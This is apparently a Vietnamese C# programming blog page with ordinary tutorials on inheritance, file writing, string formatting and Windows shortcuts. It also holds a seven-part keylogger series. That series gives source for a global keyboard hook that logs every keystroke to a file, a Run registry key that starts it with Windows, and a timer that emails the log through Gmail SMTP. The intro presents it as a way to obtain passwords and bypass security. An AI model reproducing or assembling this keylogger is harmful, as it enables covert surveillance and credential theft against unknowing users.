Ví dụ một trường hợp với thông báo lỗi của trình biên dịch là: The modifier 'public' is not valid for this item
Chủ Nhật, 6 tháng 5, 2012
Vấn đề Explicit Interface C#
Ví dụ một trường hợp với thông báo lỗi của trình biên dịch là: The modifier 'public' is not valid for this item
Thứ Sáu, 16 tháng 4, 2010
Sự kế thừa trong C#
Ví dụ về kế thừa trong C#.
/* Ví dụ về thừa kế trong lậ trình C# */
using System;
using System.Collections.Generic;
using System.Text;
namespace __OOP_Inheritance
{
class Program
{
static void Main(string[] args)
{
Dog objDog = new Dog(4);
objDog.displayProperties();
Chicken objChicken = new Chicken(2);
objChicken.displayProperties();
Console.Read();
}
}
class Animal
{
protected int ifoots;
protected string sName;
protected void setFoot(int ival)
{
ifoots = ival;
}
protected void setName(string sVal)
{
sName = sVal;
}
public void displayProperties()
{
Console.WriteLine(sName + " have " + ifoots.ToString()+ " foots");
}
}
class Dog : Animal
{
public Dog(int ival)
{
setName("Dog");
ifoots = ival;
}
}
class Chicken : Animal
{
public Chicken(int ival)
{
setName("Chicken");
setFoot(ival);
}
}
}
Ở ví dụ trên, Dog và Chicken là hai lớp kế thừa từ lớp Animal, do đó các thuộc tính như số chân, ifoots và tên sName đương nhiên xuất hiện trong hai lớp này và cho phép sử dụng. Tương tự, các hàm như setName(), setFoot(), displayProperties() tại lớp Animal cũng được kế thừa xuống hai lớp Dog và Chicken. Do đó ta có thể gọi những hàm này, và kết quả hiển thị khi gọi hàm displayProperties() theo đối tượng objDog và objChicken khác nhau như hình trên.
Một lưu ý trong thừa kế đấy là Overriding method. Nếu một hàm được định nghĩa trong lớp con có cùng tên, kiểu với hàm trong lớp cha, khi ấy hàm trong lớp con sẽ overrides (làm ẩn) hàm trong lớp cha. Đó được gọi là overriding.
Ví dụ về Overriding:
/* Ví dụ về thừa kế,overrding trong lập trình C# */
using System;
using System.Collections.Generic;
using System.Text;
namespace __OOP_Inheritance
{
class Program
{
static void Main(string[] args)
{
Dog objDog = new Dog(4);
objDog.displayProperties();
Chicken objChicken = new Chicken(2);
objChicken.displayProperties();
Tiger objTiger = new Tiger(4);
objTiger.displayProperties();
Console.Read();
}
}
class Animal
{
protected int ifoots;
protected string sName;
protected void setFoot(int ival)
{
ifoots = ival;
}
protected void setName(string sVal)
{
sName = sVal;
}
public virtual void displayProperties() // chú ý hàm này
{
Console.WriteLine(sName + " has " + ifoots.ToString()+ " foots");
}
}
class Dog : Animal
{
public Dog(int ival)
{
setName("Dog");
ifoots = ival;
}
}
class Chicken : Animal
{
public Chicken(int ival)
{
setName("Chicken");
setFoot(ival);
}
public void displayProperties()
{
base.displayProperties();
Console.WriteLine(sName + " have " + ifoots.ToString() + " foots (from Chicken class)");
}
}
class Tiger : Animal
{
public Tiger(int ival)
{
setFoot(ival);
}
public override void displayProperties() // chú ý hàm này
{
Console.WriteLine("Tiger has " + ifoots.ToString()+ " foots");
}
}
}
Hàm displayProperties() trong lớp Tiger overrides hàm displayProperties() trong lớp Animal.
Thứ Hai, 5 tháng 4, 2010
C# Syntax Reference
// CLASS1.CS -- Syntax-at-a-Glance for the C# programming language.
// A quick code reference for programmers who work in many languages.
// Executable code, minimal comments document the essence of the language.
// Copyright (C) 2001 StructureByDesign. All Rights Reserved.
using System;
using System.Collections;
using System.IO;
namespace StructureByDesign.Syntax
{
public class Class1: Object
{
public static int Main(string[] args) // Entry point.
{
System.Console.WriteLine("Hello");
Class2 aclass2 = new Class2();
aclass2.run();
return 0;
}
}
interface Interface1
{
void run();
}
Sử dụng TextReader, TextWriter trong C#
StreamWriters và StreamReaders:
- StreamWriter kế thừa từ lớp cơ sở TextWriter. Lớp này định nghĩa các thành viên cho phép thu được loại dữ liệu để ghi văn bản cho một dòng ký tự nhất định.
- Xét một vài hàm thành viên chính của lớp trừu tượng TextWriter.
Ghi một file văn bản:
- Close() - Đóng Writer và giải phóng tài nguyên liên quan.
- Write() - Ghi một dòng vào luồng dữ liệu (text stream), không kèm theo ký tự xuống dòng.
- WriteLine() - Ghih một dòng vòa luồng dữ liệu, có ký tự xuống dòng ở cuối dòng '\n'.
- Flush() - Xóa tất cả các vùng đệm mà Writer đang nắm giữ.
- Bây giờ chúng ta thực hiện một ví dụ ghi một file văn bản Sử dụng StreamWriter.
- Để đưa được dữ liệu vào văn bản, ta cần sử dụng lớp "FileInfo". Lớp này được khai báo trong không gian tên "System.IO". Chức năng của FileInfo là tóm lược một số chi tiết về tập tin đã có trên ổ cứng của bạn (kích thước, thuộc tính, thời gian được tạo ra, w) cũng như các trợ giúp trong việc tạo ra hoặc xóa bỏ các tập tin mới.
- Trong ví dụ này, trong lớp WriteTextFile tôi tạo một tập tin có tên "vidu.txt" sử dụng lớp FileInfo. Sau khi tạo tập tin văn bản bằng cách sử dụng phương thức CreateText(), hàm này trả về kiểu StreamWriter và ta sẽ ghi một số thông tin lên nó bằng phương thức Write();
public class WriteTextFile
{
public static void Main(string[] args)
{
FileInfo t = new FileInfo("vidu.txt");
StreamWriter Tex =t.CreateText();
Tex.WriteLine("chào mừng bạn đến với Vubka Blog");
Tex.WriteLine("cùng nhau chia sẻ kiến thức chung");
Tex.Write(Tex.NewLine);
Tex.close();
Console.WriteLine("Dữ liêu đã được ghi xuống file vidu.txt");
}
}
Dữ liệu đã được ghi xuống file "vidu.txt";Thứ Ba, 23 tháng 3, 2010
Resizing Width of Picturebox C#
Ví dụ dưới đây sử dụng scroll bar để tùy chỉnh cách hiển thị của picturebox cho vừa kích thước của bức ảnh đưa vào.
namespace Scrollbar
{
public class Form1 : Form
{
private OpenFileDialog openFileDialog1;
private PictureBox pictureBox1;
private VScrollBar vScrollBar1;
private HScrollBar hScrollBar1;
public Form1()
{
InitializeComponent();
}
private void InitializeComponent()
{
this.openFileDialog1 = new OpenFileDialog();
this.pictureBox1 = new PictureBox();
this.vScrollBar1 = new VScrollBar();
this.hScrollBar1 = new HScrollBar();
this.pictureBox1.SuspendLayout();
this.SuspendLayout();
this.pictureBox1.BorderStyle = BorderStyle.FixedSingle;
this.pictureBox1.Controls.AddRange(
new Control[] { this.vScrollBar1, this.hScrollBar1});
this.pictureBox1.Dock = DockStyle.Fill;
this.pictureBox1.Size = new System.Drawing.Size(440, 349);
this.pictureBox1.DoubleClick += new EventHandler(this.pictureBox1_DoubleClick);this.vScrollBar1.Dock = DockStyle.Right;
this.vScrollBar1.Location = new System.Drawing.Point(422, 0);
this.vScrollBar1.Size = new System.Drawing.Size(16, 331);
this.vScrollBar1.Visible = false;
this.vScrollBar1.Scroll +=
new ScrollEventHandler(this.HandleScroll);
this.hScrollBar1.Dock = DockStyle.Bottom;
this.hScrollBar1.Location = new System.Drawing.Point(0, 331);
this.hScrollBar1.Size = new System.Drawing.Size(438, 16);
this.hScrollBar1.Visible = false;
this.hScrollBar1.Scroll +=
new ScrollEventHandler(this.HandleScroll);
this.ClientSize = new System.Drawing.Size(440, 349);
this.Controls.AddRange(new Control[] {this.pictureBox1});
this.Text = "Form1";
this.Resize += new System.EventHandler(this.Form1_Resize);
this.pictureBox1.ResumeLayout(false);
this.ResumeLayout(false);}
Thứ Hai, 22 tháng 3, 2010
Trao đổi dữ liệu giữa các form
Với ứng dụng WinForms, trong một số trường hợp chúng ta cần phải trao đổi dữ liệu từ form này sang form khác. Đây là vấn đề mà các coder thường gặp phải và cũng gặp nhiều lúng túng. Trong bài viết này tôi sẽ giới thiệu 4 phương pháp cơ bản và rất đơn giản. Với 4 phương pháp này hoàn toàn dựa trên những khái niệm chính trong ngôn ngữ C#:
II) Tổng quan bốn phương pháp cơ bản để passing data giữa các form:
1) Sử dụng constructor
2) Sử dụng objects
3) Sử dụng properties
4) Sử dụng delegates
Trong 4 phương pháp trên, sử dụng delegates được đánh giá cao nhất vì nó không phụ thuộc vào quá trình khởi tạo đối tượng, sự tồn tại của đối tượng. Nó chỉ đơn giản sử dụng các events do coder bẫy sẵn.
IV) Sau đây là chi tiết thực hiện từng phương pháp:
Để thực hiện các phương pháp trên:
Bước 1: Tạo một project có 2 forms (HVBK-1(Form1) và HVBK-2(Form2))
Bước 2: Với Form 1: Thêm 1 textbox và một button, sử dụng để gửi dữ liệu
Bước 3: Với Form 2: Thêm 1 Label để hiển thị dữ liệu nhận được từ Form1
Thứ Hai, 8 tháng 3, 2010
Thuật toán tìm kiếm chuỗi
Giới thiệu
Tôi xin giới thiệu với các bạn tư tưởng cả thuật toán như sau:
+Đầu tiên kiểm tra độ dài string so sánh :ít hay hơn 30% thì loại
+Tiếp là so sánh từng ký tự của 2 string nếu không bằng nhau thì lỗi cộng thêm 1, so sánh các từ lân cận tiếp theo của cả 2 string ,
Trong khoảng sai số nếu có , thì chỉnh lại vị trí i,j là chỉ số của 2 string đó, cái này sẽ kiểm tra các lỗi thừa hay thiếu từ , đọc ký tự kế tiếp .
+Cuối cùng , khi 1 trong 2 string đã đi hết
thì còn mẩu đuôi ta làm : loi += s.Length - i + s1.Length - j;
tức là nếu 1 string còn thừa thì cho mẩu đó là lỗi cộng vào
nếu số lỗi <=30% thì là đạt , không thì không đạt , đơn giản vậy thôi
Thứ Ba, 2 tháng 2, 2010
Key Logger C# .NET - Possible Errors
Tất cả điều bạn cần làm bây giờ là đặt chúng lại với nhau, từng cái một, trên các khối mã.
Một số lỗi có thể xảy ra:
- Nếu bạn nhìn thấy giao diện console, thì bạn cần làm là mở cửa sổ Properties của dự án và chọn Windows Application.
- Bạn không thể tham chiếu tớ System.Windows.Forms;
- Bạn không thể giải phóng đoạn thông điệp đính kèm - message attachement (data.Dispose();)
- Bạn không thể đóng StreamWriter (sw.Dispose();)
Phần 1: Creating the Project
Phần 2: Running the Key Logger
Phần 3: Got Mail
Phần 4: Intercepting Keystrokes
Phần 5: The HookCallback Method
Phần 6: API Methods
Phần 7: Possible Errors
Key Logger C# .NET - API Methods
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
- idHook: Con số này sẽ xác định loại hook sẽ được thiết lập. Ví dụ, SetWindowsHookEx cũng có thể được sử dụng để hook vào các sự kiện chuột. Trong trường hợp này, chúng ta chỉ quan tâm đến số 13, là id của hook bàn phím và đã được gán cho hằng WH_KEYBOARD_LL.
- lpfn: Một long Pointer trỏ tới hàm xử lý các sự kiện bàn phím. Trong C#, "pointer" đạt được bằng cách gởi một thể hiện(instance) của kiểu delegate, tham chiếu đến phương thức thích hợp. Đây là phương thức mà sẽ được gọi mỗi khi hook được sử dụng.
Một điểm quan trong cần lưu ý ở đây là delegate cần phải được lưu trữ trong một biến thành viên trong lớp. Điều này là để ngăn cản nó đang được thu gom rác(garbage collection) ngay khi phương thức đầu tiên kết thúc. - hMod: Một xử lý cho các ứng dụng được cài đặt hook. Chúng ta đã thiết lập này cho Int.Zero (ở đầu phần bài viết), bởi vì không chắc rằng sẽ có nhiều hơn một ví dụ của ứng dụng. Tuy nhiên, mã này sử dụng GetModuleHandle từ kernel32.dll (xem bên dưới) để xác định các trường hợp chính xác để làm cho các lớp có khả năng linh hoạt hơn.
- dwThreadld: Các ID của thread hiện hành. Thiết lập là 0 cho hook toàn cục, được thiết lập thích hợp cho một low-level hook.
Key Logger C# .NET - The HookCallback Method
Đây là phương thức HookCallback của tôi
Bạn có thể thấy những gì nCode, wParam ở trong các hàm API, phần c), ở cuối bài viết này.
Nếu nCode lớn hơn 0, hơn một phím được thực hiện. Chúng ta mở một streamwriter (sw) để ghi vào trong file. Một lần nữa appstart.path là vị trí của file.
Trong biến vkCode chúng ta nhó mã của các phím kết hợp với phím đã được người dụng nhấn (Keys.Shift == Control.ModifierKeys - có nghĩa là phím Shift được nhấn kết hợp với phím khác, như một chữ, sau đó biến shift (trong lớp appstart) được gán là 1;
Trong câu lệnh switch sau, chúng ta kiểm tra những gì mã khoá khớp với các số trong vkCode. Ví dụ, nếu phím bấm là Tab, sau đó, với sự trợ giúp của StreamWriter, chúng ta ghi "TAB" trong tập tin của ta;
Phần mặc định(default) trong khối lệnh switch giám sát sự kết hợp của các phím với Shift hoặc Caps. Ví dụ, nếu Shift được giữ + "a", chúng ta sẽ gõ "A" trong file của ta;
Tất nhiên, bạn có thể thay đổi switch theo nhu cầu của bạn;
Sau switch, chúng ta thiết lập lại biến shift là 0, để sử dụng cho lượt kế tiếp;
Đừng quên đóng streamwriter: sw.Close();
Key Logger C# .NET - Intercepting Keystrokes
Chặn Keystrokes
Đây là phần quan trọng nhất của các keylogger. Tôi đã đặt đoạn code cần thiết trong lớp InterceptKeys.Trước tiên, chúng ta khai báo một vài hằng sốđể sử dụng trong các hàm API.
Các bạn có thể tìm kiếm đọc thêm về phần thư viện API. Bây giờ tạm thời sử dụng đoạn mã sau.
class InterceptKeysCuối cùng, phương thức Main(). Chúng ta thiết lập hook thông qua SetHook(_proc) và chúng ta kiểm tra xem chương trình trong khoá khởi động của Windows với việc sử dụng phương thức appstart.startup().
{
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
Key Logger C# .NET - Got Mail
Trong phương thức main() của chương trình (bạn sẽ xem xét nó sau) giờ chúng ta sẽ khai báo một bộ đếm giờ (timer). Khi mà timer được hẹn giờ, OnTimeEvent sẽ được kích hoạt. Ứng dụng sẽ thử gửi thông điệp kèm theo tập tin có chứa các mã phím.
public static void OnTimedEvent(object source, EventArgs e)Theo thứ tự để gửi thông điệp, chúng ta cần phải sử dụng một máy chủ SMTP (Simple Mail Transfer Protocol). Trong project, chúng ta đang sử dụng máy chủ SMTP của Gmail vì nó miễn phí. Chỉ cần thay thế "username@gmail.com" với địa chỉ gmail của chính bạn và "gmail.password" tương ứng với mật khẩu của tài khoản. Việc này cần thiết cho việc xác thực.
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message
msg.To.Add("username@gmail.com");
msg.To.Add("another.optional.address.to.send.to@domain.com");
msg.From = new MailAddress("username@gmail.com", "nickname", System.Text.Encoding.UTF8);
msg.Subject = "whatever.you.want.to.be.in.the.message.subject";
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = "whatever.you.want.to.be.in.the.message.body";
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = false;
msg.Priority = MailPriority.High;
SmtpClient client = new SmtpClient(); //Network Credentials for GmailĐó là thời gian để đính kèm tập tin vào tin nhắn. Như bạn biết, "appstart.path" đại diện cho vị trí của tập tin.
client.Credentials = new System.Net.NetworkCredential("username@gmail.com", "gmailpassword");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
Attachment data = new Attachment(appstart.path);
msg.Attachments.Add(data);
Chúng ta sẽ dùng khối lệnh try-catch: chúng ta sẽ gửi thông nhắn, nhưng nếu cái gì đó bị sai, chúng ta có thể xử lý được các trường hợp ngoại lệ. Để có thể ghi được các yếu tố đầu vào trong tập tin, chúng ta phải đảm bảo rằng tập tin không được sử dụng sau khi được gửi đi. Đó là lý do bạn thấy "data.Dispose()";
Nếu có một vấn đề trong khi gửi tin nhắn, biến "failed" của ta sẽ chuyển giá trị thành một và tập tin sẽ không bị xoá hay làm rỗng. Nếu không có vấn đề gì, "failed" vẫn là 0 và tập tin sẽ được làm rỗng đi để lưu trữ cho các phím tiếp theo. Đừng quên đặt lại cho "failed" là 0, do đó quá trình này có thể được lặp đi lặp lại trong thời gian kế tiếp mỗi khi OnTimeEvent được gọi.
try*Lưu ý: bạn có thể tư duy logic để ghép lại được các khối mã lệnh lại với nhau, chứ không từ đầu đến cuối chẳng biết chúng ta đang ở quãng nào :D.
{
client.Send(msg);
failed = 0;
}
catch
{
data.Dispose();
failed = 1;
}
data.Dispose();
if (failed == 0)
File.WriteAllText(appstart.path, ""); //empties the file
failed = 0;
} //end of the OnTimedEvent method
}//end of the appstart class
Phần 1: Creating the Project
Phần 2: Running the Key Logger
Phần 3: Got Mail
Phần 4: Intercepting Keystrokes
Phần 5: The HookCallback Method
Phần 6: API Methods
Phần 7: Possible Errors
Key Logger C# .NET - Running the Key Logger
Bạn có thể xoá mọi thứ trong Program.cs.
Và khai báo một số Namespace cần thiết cho ứng dụng
Hãy dán đoạn mã sau vào trong Program.cs:
using System; using System.Diagnostics; using System.Timers; using System.Windows.Forms; using System.Runtime.InteropServices; using System.IO; using System.Net; using System.Net.Mail; using Microsoft.Win32;
Chúng ta cần System.Timers cho các bộ đếm thời gian(timer) - khi gửi mail, System.Windows.Forms
và System.Runtime.InteropServies cho việc gọi các phương thức sẵn có (API) cho các keystrokes,
System.IO cho việc ghi văn bản ra file tệp, System.Net.Mail để tạo ra mail cho chúng ta và
Microsoft.Win32 cho việc ghi các khoá đăng ký trong registry.
Tôi sẽ khai báo một lớp có tên appstart đây là nơi chứa phương thức ghi trong registry (để chúng ta có thể chạy được ứng dụng khi khởi động) và một phương thức cho việc tạo và gửi mail.
Dưới đây, tôi khai báo biến string "path" trỏ tới file nơi mà các mã bàn phím sẽ được ghi tới, các biến "caps" và "shift" cho chúng ta biết khi capslock hoặc shift được bật và 1 biến "fail" (chúng ta sẽ cần tất cả chúng cho sau này trong chương trình).
namespace Keylogger { class appstart { public static string path = "C:/file.txt"; public static byte caps = 0, shift = 0, failed = 0;
Đây là phương thức "startup()". Tôi đã sử dụng biến rkApp để đặt chương trình vào khoá HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft…..\Run. Đây là nơi mà các chương trình được khởi động. Nếu tên chương trình của chúng ta không có trong này, thì ta cần phải tạo cho nó một khoá bằng phương thức: rkApp.SetValue(...);
public static void startup() { //Regedit --> Startup objects RegistryKey rkApp = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true); if (rkApp.GetValue("Keylogger") == null) { rkApp.SetValue("Keylogger",Application.ExecutablePath.ToString()); } rkApp.Close();//dispose of the key }
Bây giờ, khi nó được khởi chạy và sẽ gọi tới phương thức trên để kiểm tra việc khởi động cùng Windows.
Lưu ý: UAC
Phần 1: Creating the Project
Phần 2: Running the Key Logger
Phần 3: Got Mail
Phần 4: Intercepting Keystrokes
Phần 5: The HookCallback Method
Phần 6: API Methods
Phần 7: Possible Errors
Key Logger C# .NET - Creating the Project
Mở đầu
Keylogger là cái gì? Keystroke logging(thường được gọi là key logging) là một phương pháp thu giữ và ghi lại các tổ hợp phím của người sử dụng máy tính. Key logging có thể có ích để xác định nguồn gốc của những sai sót trong hệ thống máy tính, để nghiên cứu cách người dùng tương tác và tiếp cận với hệ thống, và đôi khi được sử dụng để đo năng suất hoạt động của nhân viên văn phòng (một ứng dụng tuyệt vời phải không?) về một nhiệm vụ nhất định. Hệ thống như vậy cũng rất hữu ích cho việc thực thi pháp luật và công việc gián điệp
- Ví dụ, cung cấp một phương tiện để có thể lấy được mật khẩu hoặc khoá mật mã, vượt qua được các biện pháp an ninh khác.
Điều đó là đủ, let's get to work!
Thứ Hai, 25 tháng 1, 2010
Union Method C#
Để ghép nối 2 mảng hoặc danh sách có sẵn thành một chuỗi duy nhất có chứa đầy đủ các thành phần của hai phần tử nhưng ở đây là không trùng lặp, để làm được việc này thông qua thư viện thì C# cung cấp cho ta một phương thức gọi là Union.
Gọi phương thức Union
Trước tiên, để gọi được phương thức này thì ta cần phải khai báo sử dụng thông qua không gian tên System.Linq, Union sẽ tác động tới các thành phần cùng kiểu có trong danh sách List, hoặc đơn giản hơn với kiểu mảng. Ví dụ dưới đây sử dụng mảng kiểu nguyên, các bạn có thể khai báo kiểu danh sách List hoặc mảng chuỗi string. Kết quả là Union sẽ nối 1,2,3 và 2,3,4 thành một chuỗi 1,2,3,4.
=== Gọi phương thức Union (C#) ===Hy vọng ví dụ này giúp ích được cho bạn
using System;
using System.Linq;
class Program
{
static void Main()
{
// Create two example arrays.
int[] array1 = { 1, 2, 3 };
int[] array2 = { 2, 3, 4 };
// Union the two arrays.
var result = array1.Union(array2);
// Enumerate the union.
foreach (int value in result)
{
Console.WriteLine(value);
}
}
}
=== Đầu ra của chương trình ===
1
2
3
4
Chủ Nhật, 24 tháng 1, 2010
Tạo shortcut C#
Để bắt đầu, trong Visual C# bạn hãy mở hộp thoại Add Reference…, chuyển sang thẻ COM, chọn dòng Windows Script Host và nhấn OK. Tiếp đến hãy thêm namespace này vào lớp chứa hàm tạo shortcut.
Bây giờ chúng ta sẽ sử dụng các lớp trong namespace này để viết một hàm có chức năng tạo ra shortcut có các thuộc tính như: đường dẫn tập tin, mô tả, phím nóng, thư mục làm việc…
/// Tạo shortcut
///
/// Tập tin bạn muốn tạo shortcut
/// Đường dẫn đến tập tin shortcut bao gồm cả phần đuôi (.lnk)
/// Chuỗi mô tả shortcut
/// Tham số dòng lệnh
/// Chuỗi phím tắt cho shortcut, ví dụ "Ctrl+Alt+A"
/// Tham số phần "Start in" của shortcut
/// Đường dẫn đến icon cần gán cho shortcut
public static void CreateShortcut(string targetPath, string shortcutFile, string description,
string arguments, string hotKey, string workingDirectory, string iconLocation)
{
// Kiểm tra 2 tham số cần thiết của hàm
if (String.IsNullOrEmpty(targetPath))
throw new ArgumentNullException("targetPath");
if (String.IsNullOrEmpty(shortcutFile))
throw new ArgumentNullException("shortcutFile");
// Tạo một thể hiện của lớp WshShellClass
WshShellClass wshShell = new WshShellClass();
// Tạo đối tượng shortcut
IWshRuntimeLibrary.IWshShortcut shortcut = (IWshRuntimeLibrary.IWshShortcut)wshShell.CreateShortcut(shortcutFile);
// Gán các thuộc tính cho shortcut
shortcut.TargetPath = targetPath;
shortcut.Description = description;
if (!String.IsNullOrEmpty(arguments))
shortcut.Arguments = arguments;
if (!String.IsNullOrEmpty(hotKey))
shortcut.Hotkey = hotKey;
if (!String.IsNullOrEmpty(workingDirectory))
shortcut.WorkingDirectory = workingDirectory;
if (!String.IsNullOrEmpty(iconLocation))
shortcut.IconLocation = iconLocation;
// Lưu shortcut
shortcut.Save();
}
Trong đoạn mã trên, một thể hiện của lớp WshShellClass sẽ gọi phương thức CreateShortcut(string PathLink), tham số PathLink là chuỗi chứa đường dẫn tập tin shortcut cần tạo. Phương thức này sau khi thực thi sẽ trả về một đối tượng kiểu object, ta cần ép kiểu nó sang IWshShortcut sau đó gán các thuộc tính cho shortcut vừa tạo như đoạn mã trên.
shortcut.Description = description;
if (!String.IsNullOrEmpty(arguments))
shortcut.Arguments = arguments;
if (!String.IsNullOrEmpty(hotKey))
shortcut.Hotkey = hotKey;
if (!String.IsNullOrEmpty(workingDirectory))
shortcut.WorkingDirectory = workingDirectory;
if (!String.IsNullOrEmpty(iconLocation))
shortcut.IconLocation = iconLocation;
Nếu thuộc tính iconLocation không được gán cho shortcut thì biểu tượng của shortcut sẽ là biểu tượng của tập tin nguồn.
Ta đã hoàn thành hàm để tạo ra một shortcut với các thuộc tính căn bản. Để sử dụng nó trong chương trình, bạn có thể làm như ví dụ sau. Nhớ rằng hàm của chúng ta có ném ra một vài ngoại lệ nên hãy cẩn thận dùng khối try catch để bao lại. Ở ví dụ này ta sẽ tạo một shortcut ngoài Desktop có tên là Foxit Reader:
{
CreateShortcut(@"C:\Foxit Reader.exe", Environment.GetFolderPath(Environment.SpecialFolder.Desktop
) + "\\Foxit Reader.lnk",
"Foxit Reader", null, "Ctrl+Shift+F", @"C:\","D:\\favorite.ico");
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
Bạn có thể dùng hàm này để tạo shortcut cho ứng dụng của mình trên Desktop hoặc Startmenu.
Chúc thành công!
Media Player C# using MCI
I) Giới thiệu
Trong nhiều trường hợp, bạn cần sử dụng âm thanh trong ứng dụng của mình để thông báo hay tạo một hiệu ứng nào đó. Bạn nghĩ tới việc sử dụng lớp System.Media.SoundPlayer cho yêu cầu này, và bạn nhận ra nó có một hạn chế là chỉ chơi được các định dạng .wav. Một giải pháp khác là bạn dùng control Window Media Player có sẵn trong Windows, đây là một giải pháp hay. Nhưng nếu bạn không muốn lệ thuộc vào control này, bạn cần tìm một con đường khác và có thể bạn sẽ tìm được nó khi đọc phần tiếp theo của bài viết này.
Trong bài này, tôi sẽ trình bày cách tạo một chương trình để chơi các định dạng âm thanh và video với các chức năng cơ bản như play, pause, stop, seek…thông qua Media Control Interface (MCI). Để biết thêm các thông tin và cách sử dụng MCI bạn có thể tham khảo trên MSDN của Microsoft.
Giao diện mô phỏng của ứng dụng sau khi hoàn thành.
Thứ Hai, 4 tháng 1, 2010
Định dạng chuỗi trong C#
Một trong những điều vất vả nhất của các ngôn ngữ lập trình cấp thấp đó chính là định dạng kiểu chuỗi. Nhưng trong C#, mọi chuyện sẽ thật đơn giản!
Để So sánh Định dạng chuỗi trong C ta làm như sau:
char szOutput[256];
sprintf(szOutput, "At loop position %d.\n", i);
Lệnh sprintf thông qua 1 vùng đệm ra, 1 chuỗi định dạng và bất kỳ còn số nào của tham số để thay thế vào chuỗi định dạng đó. điều này hay gây ra lỗi tràn vùng đệm.
Tương đương với Lệnh sprintf trong C# là String.Format, sẽ lấy 1 chuỗi có định dạng và 1 tham số. Nó trả về 1 chuỗi và bởi vì bạn không truyền thông qua vùng đệm nên không sợ bị lỗi tràn vùng đệm như trong C. ta xem câu lệnh sau:
string outputString = String.Format("At loop position {0}.\n", i);
Vì vậy, tại sao lại không có các kiểu tham số định dạng mà có các tham số đặc tả những kiểu mà bạn cần định dạng nhỉ? Đối tượng CLR có những siêu dữ liệu (matadata) mà thể hiện tất cả những gì mà bạn cần và mỗi đối tượng đều có một phương thức ToString() chuẩn để trả về kiểu string của đối tượng đó.
Phương thức ToString có thể chấp nhận 1 tham số kiểu string mà tham số đó sẽ thông báo định dạng của đối tượng đó. Khi chúng ta dùng lệnh String.Format, chuỗi định dạng sẽ được truyền sau vị trí đó. Ví dụ: "{0:##}". các kí tự trong dấu ngoặc nhọn bắt đầu bằng {index của tham số [căn lề] : [Kiểu định dạng]}. Nếu Căn lề là số dương, thì chuỗi string sẽ được căn phải so với độ dài của chuỗi. Còn nếu là số âm thì sẽ được căn bên trái.
Các Kiểu Định Dạng
Quả thực, khi nói như vậy cũng rất là khó hiểu, nhưng khi thực hành, thì các bạn sẽ thấy đơn giản hơn rất nhiều. Có thể nói đó là lí do tại sao các sinh viên việt nam rất thông minh và học giỏi, nhưng khi bước vào thực tiễn công việc lại rất bỡ ngỡ.
Quay trở lại vấn đề, không có quá nhiều định dạng dành cho kiểu chuỗi. Đối với kiểu string, chỉ đơn giản là định dạng căn lề. Bạn hãy xem ví dụ sau nhé:
| example | output |
|---|---|
| String.Format("--{0,10}--", "test"); | -- test-- |
| String.Format("--{0,-10}--", "test"); | --test -- |
các kiểu định dạng số
Định dạng kiểu số là một loại độc lập. Ví dụ, định dạng một kí tự tiền tệ để hiển thị giá trị tiền của laptop sẽ trả về giá trị như sau: £9.99. Chúng ta hãy xem bảng giới thiệu bên dưới:
| specifier | type | format | output (double 1.2345) | output (int -12345) |
|---|---|---|---|---|
| c | currency | {0:c} | £1.23 | -£12,345.00 |
| d | decimal (whole number) | {0:d} | System.FormatException | -12345 |
| e | exponent / scientific | {0:e} | 1.234500e+000 | -1.234500e+004 |
| f | fixed point | {0:f} | 1.23 | -12345.00 |
| g | general | {0:g} | 1.2345 | -12345 |
| n | number | {0:n} | 1.23 | -12,345.00 |
| r | round trippable | {0:r} | 1.23 | System.FormatException |
| x | hexadecimal | {0:x4} | System.FormatException | ffffcfc7 |
Các bạn hãy để ý rằng chuỗi định dạng thường bắt đầu với các ký tự đầu của các kiểu mà bạn muốn chuyển sang.
Tùy biến cho định dạng kiểu số:
| specifier | type | format | output (double 1234.56) |
|---|---|---|---|
| 0 | zero placeholder | {0:00.000} | 1234.560 |
| # | digit placeholder | {0:#.##} | 1234.56 |
| . | decimal point placeholder | {0:0.0} | 1234.6 |
| , | thousand separator | {0:0,0} | 1,235 |
| % | percentage | {0:0%} | 123456% |
ta thấy, trong việc định dạng cho kí tự, có rất nhiều các kí tự ngăn cách và được chia thành các nhóm khác nhau: Kí tự 0 thay thế cho kí tự thừa bằng số 0, kí tự # thay thế cho các vị trí định dạng bằng các con số, dấu chấm (.) , dấu phẩy (,) và kí tự % ...
String.Format("{0:£#,##0.00;(£#,##0.00);Nothing}", value);
chuỗi lệnh trên nếu ta truyền vào một giá trị là 1234.56 thì giá trị trả về sẽ là "£1,240.00". và nếu các con số là 0 thì chuỗi kết quả nhận được sẽ là chuỗi "Nothing".
Định dạng ngày tháng:
Định dạng theo kiểu ngày phụ thuộc thông tinh Culture được truyền vào. Các ví dụ sau sẽ thể hiện rõ hơn các đặc tả về định dạng ngày tháng:
| specifier | type | output (June 8, 1970 12:30:59) |
|---|---|---|
| d | Short Date | 08/06/1970 |
| D | Long Date | 08 June 1970 |
| t | Short Time | 12:30 |
| T | Long Time | 12:30:59 |
| f | Full date and time | 08 June 1970 12:30 |
| F | Full date and time (long) | 08 June 1970 12:30:59 |
| g | Default date and time | 08/06/1970 12:30 |
| G | Default date and time (long) | 08/06/1970 12:30:59 |
| M | Day / Month | 8 June |
| r | RFC1123 date string | Mon, 08 Jun 1970 12:30:59 GMT |
| s | Sortable date/time | 1970-06-08T12:30:59 |
| u | Universal time, local timezone | 1970-06-08 12:30:59Z |
| Y | Month / Year | June 1970 |
Bên trên là định dạng ngày tháng theo UK, còn nếu theo kiểu việt thường dùng thì ta dùng lệnh sau:
ví dụ định dạng ngày tháng cho một giá trị trong gridview hay datalist ta dùng lệnh : <%# Eval("value", "{0: dd/MM/yyyy}") %>
Định dạng ngày tháng tùy biến:
| specifier | type | output (June 8, 1970 12:30:59) |
|---|---|---|
| dd | Day | 08 |
| ddd | Short Day Name | Mon |
